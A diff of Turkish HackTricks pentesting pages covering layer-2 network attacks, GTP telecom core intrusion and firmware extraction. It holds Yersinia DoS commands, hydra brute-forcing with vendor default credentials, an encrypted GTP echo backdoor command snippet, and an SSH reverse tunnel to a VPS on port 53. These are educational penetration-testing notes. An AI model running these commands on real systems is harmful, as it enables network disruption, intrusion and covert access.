||||
- **Advertisement Request:** Daha yüksek bir yapılandırma revizyon numarası tespit edildiğinde, bir VTP istemcisi tarafından bir Summary Advertisement talep etmek için yayınlanır.
|
||||
- **Advertisement Request:** Daha yüksek bir yapılandırma revizyon numarasını tespit etmesi durumunda, bir VTP istemcisi tarafından bir Summary Advertisement talep etmek için verilir.
|
||||
|
||||
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırı senaryolarından sonra VTP'ye geçiş yapılabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyen VTP saldırılarını kolaylaştırabilir ve böylece ağı etkisiz hale getirebilir.
|
||||
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırı senaryolarından sonra VTP'ye geçiş yapılabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir.
|
||||
|
||||
Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.
|
||||
````bash
|
||||
@ -421,11 +421,11 @@ CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gerek
|
||||
|
||||
#### Pasif Veri Toplama <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP, bilgileri tüm portlar üzerinden yayınlamak üzere yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.
|
||||
CDP, bilgileri tüm portlar üzerinden yayınlayacak şekilde yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.
|
||||
|
||||
#### CDP Tablosu Taşkınını Tetikleme <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır:
|
||||
Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi verilmiştir:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
@ -450,7 +450,7 @@ VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, özel telefon
|
||||
|
||||
1. **Sniff Modu** (`-c 0`): VLAN kimliğini belirlemek için ağ paketlerini analiz eder.
|
||||
2. **Spoof Modu** (`-c 1`): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur.
|
||||
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeli ile aynı olan paketleri gönderir.
|
||||
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeline ait paketleri gönderir.
|
||||
|
||||
Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:
|
||||
|
||||
@ -499,7 +499,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Daha otomatik bir yol, [DHCPing](https://github.com/kamorin/DHCPig) aracını kullanmaktır.
|
||||
|
||||
Bahsedilen DoS saldırılarını kullanarak, istemcileri ortamda yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda bahsedilen kötü niyetli değerleri sunabilirsiniz**.
|
||||
Belirtilen DoS saldırılarını kullanarak, istemcileri ortamda yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda belirtilen kötü niyetli değerleri sunabilirsiniz**.
|
||||
|
||||
#### Kötü niyetli değerleri ayarlama
|
||||
|
||||
@ -525,7 +525,7 @@ Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekil
|
||||
```
|
||||
### **EAP Saldırıları**
|
||||
|
||||
802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri şunlardır:
|
||||
İşte 802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri:
|
||||
|
||||
- EAP üzerinden aktif brute-force şifre kırma
|
||||
- Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma _\*\*_(exploits)
|
||||
@ -539,9 +539,9 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Saldırıları <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yükü dağıtmaya yardımcı olur.
|
||||
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur.
|
||||
|
||||
**Cisco Systems mühendisleri iki FHRP protokolü geliştirmiştir: GLBP ve HSRP.**
|
||||
**Cisco Systems mühendisleri, GLBP ve HSRP adında iki FHRP protokolü geliştirmiştir.**
|
||||
|
||||
{{#ref}}
|
||||
glbp-and-hsrp-attacks.md
|
||||
@ -549,12 +549,12 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Yönlendirme Bilgi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. RIPv2 ile MD5 kimlik doğrulama desteği getirilmiştir. Öte yandan, RIPng yerel kimlik doğrulama içermemekte; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
|
||||
Yönlendirme Bilgisi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla 521 numaralı UDP portuna yayınlar. RIPv2 ile MD5 kimlik doğrulama desteği getirilmiştir. Öte yandan, RIPng yerel kimlik doğrulama içermemekte; bunun yerine IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
|
||||
|
||||
- **RIP ve RIPv2:** İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır.
|
||||
- **RIPng:** IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için 521 numaralı UDP portunu kullanır.
|
||||
|
||||
RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, ancak RIPng'nin yerel kimlik doğrulama içermediğini ve IPv6'daki IPsec AH ve ESP başlıklarına güvendiğini unutmayın.
|
||||
RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, ancak RIPng'nin yerel kimlik doğrulama içermediğini ve IPv6'da IPsec AH ve ESP başlıklarına güvendiğini unutmayın.
|
||||
|
||||
### EIGRP Saldırıları
|
||||
|
||||
@ -581,7 +581,7 @@ Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönle
|
||||
### Diğer Genel Araçlar & Kaynaklar
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç
|
||||
- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulunabilirsiniz.
|
||||
- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulabilirsiniz.
|
||||
|
||||
## **Sahtecilik**
|
||||
|
||||
@ -592,11 +592,11 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
Check the [previous section](#arp-spoofing).
|
||||
[önceki bölüm](#arp-spoofing) kontrol edin.
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect, bir IP'ye ulaşmanın en iyi yolunun saldırgan olduğunu belirten, ICMP paket türü 1 kod 5 göndermeyi içerir. Daha sonra, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir.
|
||||
ICMP Redirect, bir IP'ye ulaşmanın en iyi yolunun saldırgan olduğunu belirten ICMP paket türü 1 kod 5 göndermeyi içerir. Ardından, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir.
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -633,14 +633,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
### [LLMNR, NBT-NS ve mDNS'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye dayanır. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.
|
||||
DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye güvenir. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.
|
||||
|
||||
Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit edebilirsiniz.\
|
||||
Daha fazla bilgi için [Responder ile hizmetleri nasıl taklit edeceğinizi](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) buradan okuyun.
|
||||
Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit edebilir ve sahte yanıtlar gönderebilirsiniz.\
|
||||
Daha fazla bilgi için [Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
### [WPAD'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır**. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir:
|
||||
|
||||
@ -648,15 +648,15 @@ Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomati
|
||||
- **DNS** aracılığıyla, bu yerel alanda _wpad_ olarak etiketlenmiş bir ana bilgisayar adı aramayı içerir.
|
||||
- **Microsoft LLMNR ve NBT-NS** aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır.
|
||||
|
||||
Yanıtlayıcı aracı, bu protokolden yararlanarak **kötü niyetli bir WPAD sunucusu** olarak hareket eder. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Yanıtlayıcı aracı, bu protokolden yararlanarak **kötü niyetli bir WPAD sunucusu** olarak hareket eder. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
### [SSDP ve UPnP Cihazlarını Taklit Etme](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırabilirsiniz**. **Bu saldırı hakkında daha fazla bilgi için** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırabilirsiniz**. **Bu saldırı hakkında daha fazla bilgi için** [**SSDP ve UPnP Cihazlarını Taklit Etme**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
### IPv6 Komşu Taklidi
|
||||
|
||||
Bu saldırı, ARP Spoofing'e çok benzer ancak IPv6 dünyasında geçerlidir. Kurbanı, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşündürebilirsiniz.
|
||||
Bu saldırı, ARP Taklidi ile çok benzerlik gösterir ancak IPv6 dünyasında geçerlidir. Kurbanı, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşündürebilirsiniz.
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
@ -699,12 +699,12 @@ Daha fazla bilgi [burada](https://www.blackhat.com/presentations/bh-dc-09/Marlin
|
||||
|
||||
**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (ekstra "**w**"yi not edin) ve bu **alanın adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **sürdürecektir**.
|
||||
|
||||
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi** **atlamaktır**, böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\
|
||||
Bu saldırıyı gerçekleştirmek için, mağdurun öncelikle [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
|
||||
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi** **atlamaktır**; böylece tarayıcı, **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\
|
||||
Bu saldırıyı gerçekleştirmek için, kurbanın öncelikle [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
|
||||
|
||||
Daha fazla bilgi [burada](https://www.bettercap.org/legacy/#hsts-bypass), [burada](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) ve [burada](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alan adına ilk kez erişse bile, HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **`includeSubdomains` ile HSTS kullanmaktadır.**
|
||||
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır; bu nedenle, bir kullanıcı "önemli" bir alana ilk kez erişse bile, HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **HSTS'yi `includeSubdomains` ile kullanmaktadır.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -733,8 +733,8 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **bir CA tarafından imzalanmış başka bir ana bilgisayar adı sertifikası sunabilirsiniz**.\
|
||||
Diğer ilginç bir test, **istenen ana bilgisayar adı için ancak kendinden imzalı bir sertifika sunmaktır**.
|
||||
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **başka bir hostname için CA tarafından imzalanmış bir sertifika sunabilirsiniz**.\
|
||||
Diğer ilginç bir test, **istenen hostname'in sertifikasını ancak kendinden imzalı olarak sunmaktır**.
|
||||
|
||||
Test edilecek diğer şeyler, geçerli bir CA olmayan geçerli bir sertifika ile sertifikayı imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmeye ihtiyaç duymayan bir algoritma (diffie hellman gibi) kullanmaya zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.
|
||||
|
||||
|
||||
@ -3,12 +3,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü – GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, **bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir**. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı sahada gözlemlenen saldırgan tekniklerini toplar.
|
||||
> Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü – GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, **bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir**. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.
|
||||
|
||||
## 1. Keşif & İlk Erişim
|
||||
|
||||
### 1.1 Varsayılan OSS / NE Hesapları
|
||||
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser` gibi sabit kodlu SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
|
||||
Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser` gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
@ -29,10 +29,10 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Anahtar bayraklar:
|
||||
Ana bayraklar:
|
||||
- `--imsi` Hedef abone IMSI
|
||||
- `--oper` Ev / HNI (MCC+MNC)
|
||||
- `-w` Ham paketleri pcap'e yaz
|
||||
- `-w` Ham paketleri pcap'a yaz
|
||||
|
||||
İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:
|
||||
```
|
||||
@ -52,11 +52,11 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Tespit:
|
||||
* SGSN IP'lerine **dengesiz Echo İstekleri** gönderen herhangi bir ana bilgisayar
|
||||
* GTP sürüm bayrağı 1 olarak ayarlandığında ve mesaj türü = 1 (Echo) – spesifikasyondan sapma
|
||||
Detection:
|
||||
* herhangi bir hostun **dengesiz Echo İstekleri** göndermesi SGSN IP'lerine
|
||||
* GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) – spesifikasyondan sapma
|
||||
|
||||
## 4. Çekirdek Üzerinden Pivotlama
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN`, **gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen** bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir `tun0` arayüzü alır.
|
||||
@ -66,7 +66,7 @@ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon VLAN'larını atlar ve sizi doğrudan **veri düzlemine** yönlendirir.
|
||||
Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan **veri düzlemine** yönlendirir.
|
||||
|
||||
### 4.2 Port 53 Üzerinde SSH Ters Tünel
|
||||
DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:
|
||||
@ -81,7 +81,7 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
|-------|--------|-----------|--------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte anahtar + 14-byte parçalar (XOR) | tamamen pasif dinleyici, dışa trafik yok |
|
||||
| DNS – `NoDepDNS` | UDP 53 | A-kayıt oktetlerinde kodlanmış XOR (anahtar = `funnyAndHappy`) | `*.nodep` alt alanını izler |
|
||||
| GTP – `GTPDoor` | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbetiyle karışır |
|
||||
| GTP – `GTPDoor` | UDP 2123 | özel IE'de AES-128-CBC blob | meşru GTP-C sohbeti ile karışır |
|
||||
|
||||
Tüm implantlar, ikili dosyalarını **timestomp** eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.
|
||||
|
||||
|
||||
@ -8,9 +8,9 @@ Firmware, cihazların doğru bir şekilde çalışmasını sağlayan ve donanım
|
||||
|
||||
## **Bilgi Toplama**
|
||||
|
||||
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamada kritik bir ilk adımdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
|
||||
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik bir başlangıç adımıdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
|
||||
|
||||
- CPU mimarisi ve çalıştığı işletim sistemi
|
||||
- Çalıştığı CPU mimarisi ve işletim sistemi
|
||||
- Bootloader ayrıntıları
|
||||
- Donanım düzeni ve veri sayfaları
|
||||
- Kod tabanı metrikleri ve kaynak konumları
|
||||
@ -39,7 +39,7 @@ Firmware edinmek, her biri kendi karmaşıklık seviyesine sahip çeşitli yolla
|
||||
|
||||
## Firmware'i Analiz Etme
|
||||
|
||||
Artık **firmware'e sahip olduğunuzda**, ona nasıl yaklaşacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
|
||||
Artık **firmware'e sahip olduğunuzda**, onunla nasıl başa çıkacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -60,7 +60,7 @@ Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](http
|
||||
|
||||
### Dosya Sistemini Alma
|
||||
|
||||
Önceki bahsedilen araçlarla `binwalk -ev <bin>` kullanarak **dosya sistemini çıkarmış olmalısınız**.\
|
||||
Daha önce bahsedilen araçlarla `binwalk -ev <bin>` kullanarak **dosya sistemini çıkarmış olmalısınız**.\
|
||||
Binwalk genellikle bunu **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Manuel Dosya Sistemi Çıkartma
|
||||
@ -91,7 +91,7 @@ Alternatif olarak, aşağıdaki komut da çalıştırılabilir.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- Squashfs için (yukarıdaki örnekte kullanılmıştır)
|
||||
- squashfs (yukarıdaki örnekte kullanılan)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
@ -101,11 +101,11 @@ Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- JFFS2 dosya sistemleri için
|
||||
- jffs2 dosya sistemleri için
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- NAND flash ile UBIFS dosya sistemleri için
|
||||
- NAND flash ile ubifs dosya sistemleri için
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
@ -132,7 +132,7 @@ Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E
|
||||
|
||||
### Dosya Sistemini Çıkarma
|
||||
|
||||
`binwalk -ev <bin>` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, `binwalk` kullanarak dosya sisteminin ofsetini bulmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu kullanmayı içerir:
|
||||
